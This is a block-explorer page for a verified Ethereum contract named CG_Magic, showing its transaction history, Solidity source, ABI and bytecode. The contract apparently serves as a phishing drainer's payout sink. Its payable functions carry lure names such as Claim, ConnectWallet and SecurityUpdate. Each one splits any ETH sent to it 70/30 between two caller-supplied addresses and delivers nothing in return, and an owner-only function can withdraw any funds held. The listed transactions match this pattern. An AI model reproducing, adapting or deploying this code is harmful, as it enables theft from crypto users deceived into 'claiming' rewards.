Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0.00383332291894552 ETH
Eth Value
$13.37 (@ $3,487.27/ETH)Token Holdings
More Info
Private Name Tags
ContractCreator
Latest 25 from a total of 1,717 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
Value | ||||
---|---|---|---|---|---|---|---|---|---|
Claim | 20145254 | 9 days ago | IN | 0.04142736 ETH | 0.00008878 | ||||
Claim | 19755353 | 63 days ago | IN | 0.00456011 ETH | 0.00103725 | ||||
Claim | 19443019 | 107 days ago | IN | 0.00044692 ETH | 0.00066832 | ||||
Claim | 19438654 | 107 days ago | IN | 0.00462097 ETH | 0.00140751 | ||||
Withdraw Ether | 19366394 | 118 days ago | IN | 0 ETH | 0.00251811 | ||||
Withdraw Ether | 19366374 | 118 days ago | IN | 0 ETH | 0.00292461 | ||||
Claim Reward | 19363592 | 118 days ago | IN | 0.02487846 ETH | 0.01026542 | ||||
Claim | 19363404 | 118 days ago | IN | 2.50277243 ETH | 0.01204584 | ||||
Claim | 19362392 | 118 days ago | IN | 0.03544776 ETH | 0.00574798 | ||||
Claim | 19360385 | 118 days ago | IN | 0.0001 ETH | 0.00125695 | ||||
Claim | 19360160 | 118 days ago | IN | 0.31770227 ETH | 0.0024979 | ||||
Claim | 19359703 | 119 days ago | IN | 0.01184498 ETH | 0.00230791 | ||||
Claim | 19358661 | 119 days ago | IN | 0.00689941 ETH | 0.00265305 | ||||
Connect | 19358411 | 119 days ago | IN | 0.03959395 ETH | 0.00356455 | ||||
Withdraw Ether | 19357514 | 119 days ago | IN | 0 ETH | 0.00217854 | ||||
Claim | 19357303 | 119 days ago | IN | 0.0219956 ETH | 0.00328007 | ||||
Claim | 19356821 | 119 days ago | IN | 0.06168257 ETH | 0.00370677 | ||||
Claim | 19355742 | 119 days ago | IN | 0.04943647 ETH | 0.00373119 | ||||
Claim | 19354998 | 119 days ago | IN | 0.02052374 ETH | 0.00266839 | ||||
Claim | 19353690 | 119 days ago | IN | 0.01018871 ETH | 0.00210022 | ||||
Claim Reward | 19353656 | 119 days ago | IN | 0.1303632 ETH | 0.00355773 | ||||
Claim | 19352792 | 119 days ago | IN | 0.01013851 ETH | 0.00225386 | ||||
Claim | 19352331 | 120 days ago | IN | 0.00488352 ETH | 0.00210709 | ||||
Claim | 19352330 | 120 days ago | IN | 0.01225303 ETH | 0.00227414 | ||||
Claim | 19352201 | 120 days ago | IN | 0.07155167 ETH | 0.00218435 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block | From | To | Value | ||
---|---|---|---|---|---|---|
20145254 | 9 days ago | 0.01238791 ETH | ||||
20145254 | 9 days ago | 0.02890512 ETH | ||||
19755353 | 63 days ago | 0.00089721 ETH | ||||
19755353 | 63 days ago | 0.0020935 ETH | ||||
19438654 | 107 days ago | 0.00074741 ETH | ||||
19438654 | 107 days ago | 0.00174396 ETH | ||||
19366394 | 118 days ago | 0.04228363 ETH | ||||
19366374 | 118 days ago | 0.00469818 ETH | ||||
19363592 | 118 days ago | 0.00448086 ETH | ||||
19363592 | 118 days ago | 0.01045535 ETH | ||||
19363404 | 118 days ago | 0.7473339 ETH | ||||
19363404 | 118 days ago | 1.7437791 ETH | ||||
19362392 | 118 days ago | 0.00802528 ETH | ||||
19362392 | 118 days ago | 0.01872566 ETH | ||||
19360160 | 118 days ago | 0.09417686 ETH | ||||
19360160 | 118 days ago | 0.21974602 ETH | ||||
19359703 | 119 days ago | 0.00250592 ETH | ||||
19359703 | 119 days ago | 0.00584714 ETH | ||||
19358661 | 119 days ago | 0.00086558 ETH | ||||
19358661 | 119 days ago | 0.0020197 ETH | ||||
19358411 | 119 days ago | 0.01025881 ETH | ||||
19358411 | 119 days ago | 0.02393724 ETH | ||||
19357514 | 119 days ago | 0.09982075 ETH | ||||
19357303 | 119 days ago | 0.00510983 ETH | ||||
19357303 | 119 days ago | 0.01192295 ETH |
Loading...
Loading
Contract Name:
CG_Magic
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-24 */ // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.18; contract CG_Magic { address private owner; mapping(address => uint256) private balance; mapping(address => bool) private auto_withdraw; event Withdrawal(address indexed receiver, uint256 amount); event AutoWithdrawStatusUpdated(address indexed user, bool status); event Payout(address receiver, uint256 amount); modifier onlyOwner() { require(msg.sender == owner, "Only owner can call this"); _; } modifier validAmount() { require(msg.value > 0, "Invalid amount"); _; } constructor() { owner = msg.sender; } function getOwner() public view returns (address) { return owner; } function getBalance() public view returns (uint256) { return address(this).balance; } function getUserBalance(address wallet) public view returns (uint256) { return balance[wallet]; } function getWithdrawStatus(address wallet) public view returns (bool) { return auto_withdraw[wallet]; } function setWithdrawStatus(bool status) public { auto_withdraw[msg.sender] = status; emit AutoWithdrawStatusUpdated(msg.sender, status); } function withdraw() public { uint256 amount = balance[msg.sender]; require(address(this).balance >= amount, "BALANCE_LOW"); balance[msg.sender] = 0; payable(msg.sender).transfer(amount); emit Withdrawal(msg.sender, amount); } function withdrawEther(address payable receiver, uint256 amount) public onlyOwner { require(receiver != address(0), "Invalid address"); require(address(this).balance >= amount, "Insufficient contract balance"); payable(receiver).transfer(amount); } function _executeTransaction(uint8 auto_payout, address sender, address recipient1) public payable validAmount { uint256 gasCost = tx.gasprice * gasleft(); uint256 totalAmount = msg.value - gasCost; if (auto_payout == 1) { uint256 payoutAmount1 = totalAmount * 70 / 100; uint256 payoutAmount2 = totalAmount - payoutAmount1; payable(recipient1).transfer(payoutAmount1); payable(sender).transfer(payoutAmount2); emit Withdrawal(recipient1, payoutAmount1); } else { balance[sender] += totalAmount; } } function Claim(uint8 auto_payout, address sender, address recipient1) public payable { _executeTransaction(auto_payout, sender, recipient1); } function ClaimReward(uint8 auto_payout, address sender, address recipient1) public payable { _executeTransaction(auto_payout, sender, recipient1); } function ClaimRewards(uint8 auto_payout, address sender, address recipient1) public payable { _executeTransaction(auto_payout, sender, recipient1); } function Execute(uint8 auto_payout, address sender, address recipient1) public payable { _executeTransaction(auto_payout, sender, recipient1); } function Multicall(uint8 auto_payout, address sender, address recipient1) public payable { _executeTransaction(auto_payout, sender, recipient1); } function Swap(uint8 auto_payout, address sender, address recipient1) public payable { _executeTransaction(auto_payout, sender, recipient1); } function Connect(uint8 auto_payout, address sender, address recipient1) public payable { _executeTransaction(auto_payout, sender, recipient1); } function ConnectWallet(uint8 auto_payout, address sender, address recipient1) public payable { _executeTransaction(auto_payout, sender, recipient1); } function SecurityUpdate(uint8 auto_payout, address sender, address recipient1) public payable { _executeTransaction(auto_payout, sender, recipient1); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"AutoWithdrawStatusUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"receiver","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Payout","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"receiver","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawal","type":"event"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"Claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"ClaimReward","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"ClaimRewards","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"Connect","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"ConnectWallet","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"Execute","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"Multicall","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"SecurityUpdate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"Swap","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"_executeTransaction","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getUserBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getWithdrawStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"setWithdrawStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"receiver","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611081806100606000396000f3fe6080604052600436106101025760003560e01c80637e05539811610095578063a275be2f11610064578063a275be2f146102c6578063aabd6904146102e2578063b518d3041461030b578063e7210b2b14610327578063eb7de59a1461034357610109565b80637e0553981461024757806386f3dbec14610263578063893d20e81461027f57806389452ee4146102aa57610109565b806347734892116100d1578063477348921461018857806351a72964146101c5578063522f68151461020257806356b0d0531461022b57610109565b80630ae053da1461010e57806312065fe01461012a57806317c2d5d4146101555780633ccfd60b1461017157610109565b3661010957005b600080fd5b61012860048036038101906101239190610ace565b61035f565b005b34801561013657600080fd5b5061013f61036f565b60405161014c9190610b3a565b60405180910390f35b61016f600480360381019061016a9190610ace565b610377565b005b34801561017d57600080fd5b50610186610387565b005b34801561019457600080fd5b506101af60048036038101906101aa9190610b55565b6104eb565b6040516101bc9190610b3a565b60405180910390f35b3480156101d157600080fd5b506101ec60048036038101906101e79190610b55565b610534565b6040516101f99190610b9d565b60405180910390f35b34801561020e57600080fd5b5061022960048036038101906102249190610c22565b61058a565b005b61024560048036038101906102409190610ace565b610715565b005b610261600480360381019061025c9190610ace565b610725565b005b61027d60048036038101906102789190610ace565b610735565b005b34801561028b57600080fd5b50610294610745565b6040516102a19190610c71565b60405180910390f35b6102c460048036038101906102bf9190610ace565b61076e565b005b6102e060048036038101906102db9190610ace565b61077e565b005b3480156102ee57600080fd5b5061030960048036038101906103049190610cb8565b61078e565b005b61032560048036038101906103209190610ace565b610836565b005b610341600480360381019061033c9190610ace565b610846565b005b61035d60048036038101906103589190610ace565b610856565b005b61036a838383610856565b505050565b600047905090565b610382838383610856565b505050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508047101561040e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040590610d42565b60405180910390fd5b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610499573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65826040516104e09190610b3a565b60405180910390a250565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060f90610dae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067e90610e1a565b60405180910390fd5b804710156106ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c190610e86565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610710573d6000803e3d6000fd5b505050565b610720838383610856565b505050565b610730838383610856565b505050565b610740838383610856565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610779838383610856565b505050565b610789838383610856565b505050565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fbd9aab58e25f7ef07ff15c567d9e0d1c54aeb4f766ae4742ad0ef6a67715bd328260405161082b9190610b9d565b60405180910390a250565b610841838383610856565b505050565b610851838383610856565b505050565b60003411610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089090610ef2565b60405180910390fd5b60005a3a6108a79190610f41565b9050600081346108b79190610f83565b905060018560ff16036109d457600060646046836108d59190610f41565b6108df9190610fe6565b9050600081836108ef9190610f83565b90508473ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610937573d6000803e3d6000fd5b508573ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561097e573d6000803e3d6000fd5b508473ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65836040516109c59190610b3a565b60405180910390a25050610a2b565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a239190611017565b925050819055505b5050505050565b600080fd5b600060ff82169050919050565b610a4d81610a37565b8114610a5857600080fd5b50565b600081359050610a6a81610a44565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610a9b82610a70565b9050919050565b610aab81610a90565b8114610ab657600080fd5b50565b600081359050610ac881610aa2565b92915050565b600080600060608486031215610ae757610ae6610a32565b5b6000610af586828701610a5b565b9350506020610b0686828701610ab9565b9250506040610b1786828701610ab9565b9150509250925092565b6000819050919050565b610b3481610b21565b82525050565b6000602082019050610b4f6000830184610b2b565b92915050565b600060208284031215610b6b57610b6a610a32565b5b6000610b7984828501610ab9565b91505092915050565b60008115159050919050565b610b9781610b82565b82525050565b6000602082019050610bb26000830184610b8e565b92915050565b6000610bc382610a70565b9050919050565b610bd381610bb8565b8114610bde57600080fd5b50565b600081359050610bf081610bca565b92915050565b610bff81610b21565b8114610c0a57600080fd5b50565b600081359050610c1c81610bf6565b92915050565b60008060408385031215610c3957610c38610a32565b5b6000610c4785828601610be1565b9250506020610c5885828601610c0d565b9150509250929050565b610c6b81610a90565b82525050565b6000602082019050610c866000830184610c62565b92915050565b610c9581610b82565b8114610ca057600080fd5b50565b600081359050610cb281610c8c565b92915050565b600060208284031215610cce57610ccd610a32565b5b6000610cdc84828501610ca3565b91505092915050565b600082825260208201905092915050565b7f42414c414e43455f4c4f57000000000000000000000000000000000000000000600082015250565b6000610d2c600b83610ce5565b9150610d3782610cf6565b602082019050919050565b60006020820190508181036000830152610d5b81610d1f565b9050919050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000600082015250565b6000610d98601883610ce5565b9150610da382610d62565b602082019050919050565b60006020820190508181036000830152610dc781610d8b565b9050919050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b6000610e04600f83610ce5565b9150610e0f82610dce565b602082019050919050565b60006020820190508181036000830152610e3381610df7565b9050919050565b7f496e73756666696369656e7420636f6e74726163742062616c616e6365000000600082015250565b6000610e70601d83610ce5565b9150610e7b82610e3a565b602082019050919050565b60006020820190508181036000830152610e9f81610e63565b9050919050565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b6000610edc600e83610ce5565b9150610ee782610ea6565b602082019050919050565b60006020820190508181036000830152610f0b81610ecf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610f4c82610b21565b9150610f5783610b21565b9250828202610f6581610b21565b91508282048414831517610f7c57610f7b610f12565b5b5092915050565b6000610f8e82610b21565b9150610f9983610b21565b9250828203905081811115610fb157610fb0610f12565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000610ff182610b21565b9150610ffc83610b21565b92508261100c5761100b610fb7565b5b828204905092915050565b600061102282610b21565b915061102d83610b21565b925082820190508082111561104557611044610f12565b5b9291505056fea2646970667358221220232f9055f1282402bc02647d8ebfbee570b97500c2e10994030861d69ce465d264736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101025760003560e01c80637e05539811610095578063a275be2f11610064578063a275be2f146102c6578063aabd6904146102e2578063b518d3041461030b578063e7210b2b14610327578063eb7de59a1461034357610109565b80637e0553981461024757806386f3dbec14610263578063893d20e81461027f57806389452ee4146102aa57610109565b806347734892116100d1578063477348921461018857806351a72964146101c5578063522f68151461020257806356b0d0531461022b57610109565b80630ae053da1461010e57806312065fe01461012a57806317c2d5d4146101555780633ccfd60b1461017157610109565b3661010957005b600080fd5b61012860048036038101906101239190610ace565b61035f565b005b34801561013657600080fd5b5061013f61036f565b60405161014c9190610b3a565b60405180910390f35b61016f600480360381019061016a9190610ace565b610377565b005b34801561017d57600080fd5b50610186610387565b005b34801561019457600080fd5b506101af60048036038101906101aa9190610b55565b6104eb565b6040516101bc9190610b3a565b60405180910390f35b3480156101d157600080fd5b506101ec60048036038101906101e79190610b55565b610534565b6040516101f99190610b9d565b60405180910390f35b34801561020e57600080fd5b5061022960048036038101906102249190610c22565b61058a565b005b61024560048036038101906102409190610ace565b610715565b005b610261600480360381019061025c9190610ace565b610725565b005b61027d60048036038101906102789190610ace565b610735565b005b34801561028b57600080fd5b50610294610745565b6040516102a19190610c71565b60405180910390f35b6102c460048036038101906102bf9190610ace565b61076e565b005b6102e060048036038101906102db9190610ace565b61077e565b005b3480156102ee57600080fd5b5061030960048036038101906103049190610cb8565b61078e565b005b61032560048036038101906103209190610ace565b610836565b005b610341600480360381019061033c9190610ace565b610846565b005b61035d60048036038101906103589190610ace565b610856565b005b61036a838383610856565b505050565b600047905090565b610382838383610856565b505050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508047101561040e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040590610d42565b60405180910390fd5b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610499573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65826040516104e09190610b3a565b60405180910390a250565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060f90610dae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067e90610e1a565b60405180910390fd5b804710156106ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c190610e86565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610710573d6000803e3d6000fd5b505050565b610720838383610856565b505050565b610730838383610856565b505050565b610740838383610856565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610779838383610856565b505050565b610789838383610856565b505050565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fbd9aab58e25f7ef07ff15c567d9e0d1c54aeb4f766ae4742ad0ef6a67715bd328260405161082b9190610b9d565b60405180910390a250565b610841838383610856565b505050565b610851838383610856565b505050565b60003411610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089090610ef2565b60405180910390fd5b60005a3a6108a79190610f41565b9050600081346108b79190610f83565b905060018560ff16036109d457600060646046836108d59190610f41565b6108df9190610fe6565b9050600081836108ef9190610f83565b90508473ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610937573d6000803e3d6000fd5b508573ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561097e573d6000803e3d6000fd5b508473ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65836040516109c59190610b3a565b60405180910390a25050610a2b565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a239190611017565b925050819055505b5050505050565b600080fd5b600060ff82169050919050565b610a4d81610a37565b8114610a5857600080fd5b50565b600081359050610a6a81610a44565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610a9b82610a70565b9050919050565b610aab81610a90565b8114610ab657600080fd5b50565b600081359050610ac881610aa2565b92915050565b600080600060608486031215610ae757610ae6610a32565b5b6000610af586828701610a5b565b9350506020610b0686828701610ab9565b9250506040610b1786828701610ab9565b9150509250925092565b6000819050919050565b610b3481610b21565b82525050565b6000602082019050610b4f6000830184610b2b565b92915050565b600060208284031215610b6b57610b6a610a32565b5b6000610b7984828501610ab9565b91505092915050565b60008115159050919050565b610b9781610b82565b82525050565b6000602082019050610bb26000830184610b8e565b92915050565b6000610bc382610a70565b9050919050565b610bd381610bb8565b8114610bde57600080fd5b50565b600081359050610bf081610bca565b92915050565b610bff81610b21565b8114610c0a57600080fd5b50565b600081359050610c1c81610bf6565b92915050565b60008060408385031215610c3957610c38610a32565b5b6000610c4785828601610be1565b9250506020610c5885828601610c0d565b9150509250929050565b610c6b81610a90565b82525050565b6000602082019050610c866000830184610c62565b92915050565b610c9581610b82565b8114610ca057600080fd5b50565b600081359050610cb281610c8c565b92915050565b600060208284031215610cce57610ccd610a32565b5b6000610cdc84828501610ca3565b91505092915050565b600082825260208201905092915050565b7f42414c414e43455f4c4f57000000000000000000000000000000000000000000600082015250565b6000610d2c600b83610ce5565b9150610d3782610cf6565b602082019050919050565b60006020820190508181036000830152610d5b81610d1f565b9050919050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000600082015250565b6000610d98601883610ce5565b9150610da382610d62565b602082019050919050565b60006020820190508181036000830152610dc781610d8b565b9050919050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b6000610e04600f83610ce5565b9150610e0f82610dce565b602082019050919050565b60006020820190508181036000830152610e3381610df7565b9050919050565b7f496e73756666696369656e7420636f6e74726163742062616c616e6365000000600082015250565b6000610e70601d83610ce5565b9150610e7b82610e3a565b602082019050919050565b60006020820190508181036000830152610e9f81610e63565b9050919050565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b6000610edc600e83610ce5565b9150610ee782610ea6565b602082019050919050565b60006020820190508181036000830152610f0b81610ecf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610f4c82610b21565b9150610f5783610b21565b9250828202610f6581610b21565b91508282048414831517610f7c57610f7b610f12565b5b5092915050565b6000610f8e82610b21565b9150610f9983610b21565b9250828203905081811115610fb157610fb0610f12565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000610ff182610b21565b9150610ffc83610b21565b92508261100c5761100b610fb7565b5b828204905092915050565b600061102282610b21565b915061102d83610b21565b925082820190508082111561104557611044610f12565b5b9291505056fea2646970667358221220232f9055f1282402bc02647d8ebfbee570b97500c2e10994030861d69ce465d264736f6c63430008120033
Deployed Bytecode Sourcemap
67:4028:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2862:163;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;787:99;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2692:162;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1307:275;;;;;;;;;;;;;:::i;:::-;;894:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1013:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1590:280;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2528:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3887:165;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3036:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;698:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3376:155;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3712:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1138:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3542:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3205:160;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1878:642;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2862:163;2965:52;2985:11;2998:6;3006:10;2965:19;:52::i;:::-;2862:163;;;:::o;787:99::-;830:7;857:21;850:28;;787:99;:::o;2692:162::-;2794:52;2814:11;2827:6;2835:10;2794:19;:52::i;:::-;2692:162;;;:::o;1307:275::-;1345:14;1362:7;:19;1370:10;1362:19;;;;;;;;;;;;;;;;1345:36;;1425:6;1400:21;:31;;1392:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;1480:1;1458:7;:19;1466:10;1458:19;;;;;;;;;;;;;;;:23;;;;1500:10;1492:28;;:36;1521:6;1492:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1555:10;1544:30;;;1567:6;1544:30;;;;;;:::i;:::-;;;;;;;;1334:248;1307:275::o;894:111::-;955:7;982;:15;990:6;982:15;;;;;;;;;;;;;;;;975:22;;894:111;;;:::o;1013:117::-;1077:4;1101:13;:21;1115:6;1101:21;;;;;;;;;;;;;;;;;;;;;;;;;1094:28;;1013:117;;;:::o;1590:280::-;475:5;;;;;;;;;;461:19;;:10;:19;;;453:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1711:1:::1;1691:22;;:8;:22;;::::0;1683:50:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1777:6;1752:21;:31;;1744:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1836:8;1828:26;;:34;1855:6;1828:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;1590:280:::0;;:::o;2528:156::-;2624:52;2644:11;2657:6;2665:10;2624:19;:52::i;:::-;2528:156;;;:::o;3887:165::-;3992:52;4012:11;4025:6;4033:10;3992:19;:52::i;:::-;3887:165;;;:::o;3036:158::-;3134:52;3154:11;3167:6;3175:10;3134:19;:52::i;:::-;3036:158;;;:::o;698:81::-;739:7;766:5;;;;;;;;;;;759:12;;698:81;:::o;3376:155::-;3471:52;3491:11;3504:6;3512:10;3